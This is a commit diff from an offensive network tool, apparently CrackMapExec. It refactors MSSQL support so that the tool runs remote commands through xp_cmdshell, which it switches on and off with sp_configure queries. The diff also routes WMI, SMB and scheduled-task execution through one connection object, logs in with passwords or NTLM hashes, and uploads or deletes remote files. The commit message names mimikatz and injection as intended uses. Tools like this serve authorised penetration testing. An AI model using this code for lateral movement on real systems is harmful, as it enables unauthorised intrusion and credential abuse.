- Re-Factored MSSQL support for better integration when executing
commands and attacks (e.g. mimikatz, injection) - By default, the --mssql flag will enumerate db instances and will allow you to execute commands through xp_cmdshell - Made some logic changes on how/when connections are initiatedmain
parent
3c5cf012fd
commit
c50ffb0f65
|
@ -1,6 +1,7 @@
|
|||
from scripts.wmiexec import WMIEXEC
|
||||
from scripts.smbexec import SMBEXEC
|
||||
from scripts.atexec import TSCH_EXEC
|
||||
from scripts.mssqlclient import SQLSHELL
|
||||
|
||||
import settings
|
||||
|
||||
|
@ -8,8 +9,13 @@ class EXECUTOR:
|
|||
|
||||
"""Yes, I know this sounds like the pokemon... deal with it"""
|
||||
|
||||
def __init__(self, logger, command, host, domain, noOutput, smbconnection, method, user, passwd, ntlm_hash):
|
||||
def __init__(self, logger, command, host, domain, noOutput, connection, method, user, passwd, ntlm_hash):
|
||||
|
||||
if settings.args.mssql and str(connection).find('MSSQL') != -1:
|
||||
sql_shell = SQLSHELL(connection, logger)
|
||||
sql_shell.do_xp_cmdshell(command, noOutput)
|
||||
|
||||
else:
|
||||
if method == 'wmi':
|
||||
wmi_exec = WMIEXEC(logger,
|
||||
command,
|
||||
|
@ -21,7 +27,7 @@ class EXECUTOR:
|
|||
settings.args.share,
|
||||
noOutput,
|
||||
settings.args.kerb)
|
||||
wmi_exec.run(host, smbconnection)
|
||||
wmi_exec.run(host, connection)
|
||||
|
||||
elif method == 'smbexec':
|
||||
smb_exec = SMBEXEC(logger,
|
||||
|
|
|
@ -27,54 +27,12 @@ import traceback
|
|||
import socket
|
||||
import logging
|
||||
|
||||
def mssql_greenlet(host, server_name, domain):
|
||||
|
||||
cme_logger = CMEAdapter(logging.getLogger('CME'), {'host': host,
|
||||
'hostname': server_name,
|
||||
'port': settings.args.mssql_port,
|
||||
'service': 'MSSQL'})
|
||||
|
||||
try:
|
||||
ms_sql = tds.MSSQL(host, int(settings.args.mssql_port), cme_logger)
|
||||
ms_sql.connect()
|
||||
except socket.error as e:
|
||||
if settings.args.verbose: print_error(str(e))
|
||||
return
|
||||
|
||||
if settings.args.mssql_instance:
|
||||
instances = ms_sql.getInstances(5)
|
||||
if len(instances) == 0:
|
||||
cme_logger.info("No MSSQL Instances found")
|
||||
else:
|
||||
cme_logger.success("Enumerating MSSQL instances")
|
||||
for i, instance in enumerate(instances):
|
||||
cme_logger.results("Instance {}".format(i))
|
||||
for key in instance.keys():
|
||||
cme_logger.results(key + ":" + instance[key])
|
||||
|
||||
if settings.args.mssql is not None:
|
||||
ms_sql, user, passwd, ntlm_hash, domain = smart_login(host, domain, ms_sql, cme_logger)
|
||||
sql_shell = SQLSHELL(ms_sql, cme_logger)
|
||||
|
||||
if settings.args.mssql != '':
|
||||
sql_shell.onecmd(settings.args.mssql)
|
||||
|
||||
if settings.args.enable_xpcmdshell:
|
||||
sql_shell.onecmd('enable_xp_cmdshell')
|
||||
|
||||
if settings.args.disable_xpcmdshell:
|
||||
sql_shell.onecmd('disable_xp_cmdshell')
|
||||
|
||||
if settings.args.xp_cmd:
|
||||
sql_shell.onecmd("xp_cmdshell {}".format(settings.args.xp_cmd))
|
||||
|
||||
ms_sql.disconnect()
|
||||
|
||||
def main_greenlet(host):
|
||||
|
||||
try:
|
||||
|
||||
smb = SMBConnection(host, host, None, settings.args.port)
|
||||
#Get our IP from the socket
|
||||
local_ip = smb.getSMBServer().get_socket().getsockname()[0]
|
||||
try:
|
||||
smb.login('' , '')
|
||||
except SessionError as e:
|
||||
|
@ -95,9 +53,6 @@ def main_greenlet(host):
|
|||
|
||||
cme_logger.info(u"{} (name:{}) (domain:{})".format(smb.getServerOS(), s_name, domain))
|
||||
|
||||
if settings.args.mssql_instance or settings.args.mssql is not None:
|
||||
mssql_greenlet(host, s_name, domain)
|
||||
|
||||
try:
|
||||
'''
|
||||
DC's seem to want us to logoff first
|
||||
|
@ -108,14 +63,54 @@ def main_greenlet(host):
|
|||
except NetBIOSError:
|
||||
pass
|
||||
except socket.error:
|
||||
pass
|
||||
|
||||
if settings.args.mssql:
|
||||
cme_logger = CMEAdapter(logging.getLogger('CME'), {'host': host,
|
||||
'hostname': s_name,
|
||||
'port': settings.args.mssql_port,
|
||||
'service': 'MSSQL'})
|
||||
|
||||
#try:
|
||||
ms_sql = tds.MSSQL(host, int(settings.args.mssql_port), cme_logger)
|
||||
ms_sql.connect()
|
||||
|
||||
instances = ms_sql.getInstances(5)
|
||||
cme_logger.info("Found {} MSSQL instance(s)".format(len(instances)))
|
||||
for i, instance in enumerate(instances):
|
||||
cme_logger.results("Instance {}".format(i))
|
||||
for key in instance.keys():
|
||||
cme_logger.results(key + ":" + instance[key])
|
||||
|
||||
try:
|
||||
ms_sql.disconnect()
|
||||
except:
|
||||
pass
|
||||
|
||||
#except socket.error as e:
|
||||
# if settings.args.verbose: mssql_cme_logger.error(str(e))
|
||||
|
||||
if (settings.args.user and (settings.args.passwd or settings.args.hash)) or settings.args.combo_file:
|
||||
|
||||
ms_sql = None
|
||||
smb = None
|
||||
|
||||
if settings.args.mssql:
|
||||
ms_sql = tds.MSSQL(host, int(settings.args.mssql_port), cme_logger)
|
||||
ms_sql.connect()
|
||||
ms_sql, user, passwd, ntlm_hash, domain = smart_login(host, domain, ms_sql, cme_logger)
|
||||
sql_shell = SQLSHELL(ms_sql, cme_logger)
|
||||
else:
|
||||
smb = SMBConnection(host, host, None, settings.args.port)
|
||||
|
||||
if (settings.args.user is not None and (settings.args.passwd is not None or settings.args.hash is not None)) or settings.args.combo_file:
|
||||
|
||||
smb, user, passwd, ntlm_hash, domain = smart_login(host, domain, smb, cme_logger)
|
||||
#Get our IP from the socket
|
||||
local_ip = smb.getSMBServer().get_socket().getsockname()[0]
|
||||
|
||||
if ms_sql:
|
||||
connection = ms_sql
|
||||
if settings.args.mssql_query:
|
||||
sql_shell.onecmd(settings.args.mssql_query)
|
||||
|
||||
if smb:
|
||||
connection = smb
|
||||
if settings.args.delete or settings.args.download or settings.args.list or settings.args.upload:
|
||||
rfs = RemoteFileSystem(host, smb, cme_logger)
|
||||
if settings.args.delete:
|
||||
|
@ -240,7 +235,7 @@ def main_greenlet(host):
|
|||
host,
|
||||
domain,
|
||||
settings.args.no_output,
|
||||
smb,
|
||||
connection,
|
||||
settings.args.execm,
|
||||
user,
|
||||
passwd,
|
||||
|
@ -252,7 +247,7 @@ def main_greenlet(host):
|
|||
host,
|
||||
domain,
|
||||
settings.args.no_output,
|
||||
smb,
|
||||
connection,
|
||||
settings.args.execm,
|
||||
user,
|
||||
passwd,
|
||||
|
@ -265,7 +260,7 @@ def main_greenlet(host):
|
|||
host,
|
||||
domain,
|
||||
True,
|
||||
smb,
|
||||
connection,
|
||||
settings.args.execm,
|
||||
user,
|
||||
passwd,
|
||||
|
@ -278,7 +273,7 @@ def main_greenlet(host):
|
|||
host,
|
||||
domain,
|
||||
True,
|
||||
smb,
|
||||
connection,
|
||||
settings.args.execm,
|
||||
user,
|
||||
passwd,
|
||||
|
@ -291,7 +286,7 @@ def main_greenlet(host):
|
|||
host,
|
||||
domain,
|
||||
True,
|
||||
smb,
|
||||
connection,
|
||||
settings.args.execm,
|
||||
user,
|
||||
passwd,
|
||||
|
@ -306,7 +301,7 @@ def main_greenlet(host):
|
|||
host,
|
||||
domain,
|
||||
True,
|
||||
smb,
|
||||
connection,
|
||||
'smbexec',
|
||||
user,
|
||||
passwd,
|
||||
|
@ -320,7 +315,7 @@ def main_greenlet(host):
|
|||
host,
|
||||
domain,
|
||||
True,
|
||||
smb,
|
||||
connection,
|
||||
settings.args.execm,
|
||||
user,
|
||||
passwd,
|
||||
|
@ -332,7 +327,7 @@ def main_greenlet(host):
|
|||
host,
|
||||
domain,
|
||||
True,
|
||||
smb,
|
||||
connection,
|
||||
settings.args.execm,
|
||||
user,
|
||||
passwd,
|
||||
|
@ -344,16 +339,22 @@ def main_greenlet(host):
|
|||
host,
|
||||
domain,
|
||||
True,
|
||||
smb,
|
||||
connection,
|
||||
settings.args.execm,
|
||||
user,
|
||||
passwd,
|
||||
ntlm_hash)
|
||||
|
||||
try:
|
||||
smb.logoff()
|
||||
except:
|
||||
pass
|
||||
|
||||
try:
|
||||
ms_sql.disconnect()
|
||||
except:
|
||||
pass
|
||||
|
||||
except SessionError as e:
|
||||
print_error("{}:{} {}".format(host, settings.args.port, e))
|
||||
if settings.args.verbose: traceback.print_exc()
|
||||
|
|
|
@ -76,14 +76,19 @@ class SQLSHELL(cmd.Cmd):
|
|||
def do_shell(self, s):
|
||||
os.system(s)
|
||||
|
||||
def do_xp_cmdshell(self, s):
|
||||
def do_xp_cmdshell(self, s, noOutput=False):
|
||||
try:
|
||||
self.do_enable_xp_cmdshell('')
|
||||
self.sql.sql_query("exec master..xp_cmdshell '%s'" % s)
|
||||
self.logger.success('Executed command via XP_CMDSHELL')
|
||||
if noOutput is False:
|
||||
self.sql.printReplies()
|
||||
self.sql.colMeta[0]['TypeData'] = 80*2
|
||||
self.sql.printRows()
|
||||
self.do_disable_xp_cmdshell('')
|
||||
except:
|
||||
pass
|
||||
if noOutput is True:
|
||||
self.sql.printReplies()
|
||||
|
||||
def do_lcd(self, s):
|
||||
if s == '':
|
||||
|
@ -92,20 +97,10 @@ class SQLSHELL(cmd.Cmd):
|
|||
os.chdir(s)
|
||||
|
||||
def do_enable_xp_cmdshell(self, line):
|
||||
try:
|
||||
self.sql.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;")
|
||||
self.sql.printReplies()
|
||||
self.sql.printRows()
|
||||
except:
|
||||
pass
|
||||
|
||||
def do_disable_xp_cmdshell(self, line):
|
||||
try:
|
||||
self.sql.sql_query("exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;")
|
||||
self.sql.printReplies()
|
||||
self.sql.printRows()
|
||||
except:
|
||||
pass
|
||||
|
||||
def default(self, line):
|
||||
try:
|
||||
|
|
|
@ -57,7 +57,7 @@ parser = argparse.ArgumentParser(description="""
|
|||
version='{} - {}'.format(VERSION, CODENAME),
|
||||
epilog='Hut Hut! Wat Wat!')
|
||||
|
||||
parser.add_argument("target", nargs='*', type=str, help="The target IP, range, CIDR identifier, hostname, FQDN or list or file containg a list of targets")
|
||||
parser.add_argument("target", nargs='*', type=str, help="The target IP(s), range(s), CIDR(s), hostname(s), FQDN(s) or file(s) containg a list of targets")
|
||||
parser.add_argument("-t", type=int, dest="threads", default=100, help="Set how many concurrent threads to use (defaults to 100)")
|
||||
parser.add_argument("-u", metavar="USERNAME", dest='user', nargs='*', default=[], type=str, help="Username(s) or file(s) containing usernames")
|
||||
parser.add_argument("-p", metavar="PASSWORD", dest='passwd', nargs= '*', default=[], type=str, help="Password(s) or file(s) containing passwords")
|
||||
|
@ -139,12 +139,9 @@ wgroup.add_argument("--start-name", metavar='NAME', help='Name of the account un
|
|||
wgroup.add_argument("--start-pass", metavar='PASS', help='Password of the account whose name was specified with the --start-name parameter')
|
||||
|
||||
mgroup = parser.add_argument_group("MSSQL Interaction", "Options for interacting with MSSQL DB's")
|
||||
mgroup.add_argument("--mssql", nargs='?', const='', metavar='QUERY', help='Authenticate with the provided credentials against the MSSQL service, optionally execute the specified query')
|
||||
mgroup.add_argument("--mssql", action='store_true', help='Authenticate with the provided credentials against the MSSQL service')
|
||||
mgroup.add_argument("--mssql-port", default=1433, metavar='PORT', help='MSSQL service port (default: 1433)')
|
||||
mgroup.add_argument("--mssql-instance", action='store_true', help='Enumerate the MSSQL intances on the target hosts')
|
||||
mgroup.add_argument("--enable-xpcmdshell", action='store_true', help='Enable xp_cmdshell on target DB\'s')
|
||||
mgroup.add_argument("--disable-xpcmdshell", action='store_true', help='Disable xp_cmdshell on target DB\'s')
|
||||
mgroup.add_argument("--xp-cmd", metavar='COMMAND', help='Execute the specified command using xp_cmdshell')
|
||||
mgroup.add_argument("--mssql-query", metavar='QUERY', type=str, help='Execute the specifed query against the MSSQL DB')
|
||||
|
||||
if len(sys.argv) == 1:
|
||||
parser.print_help()
|
||||
|
|
Loading…
Reference in New Issue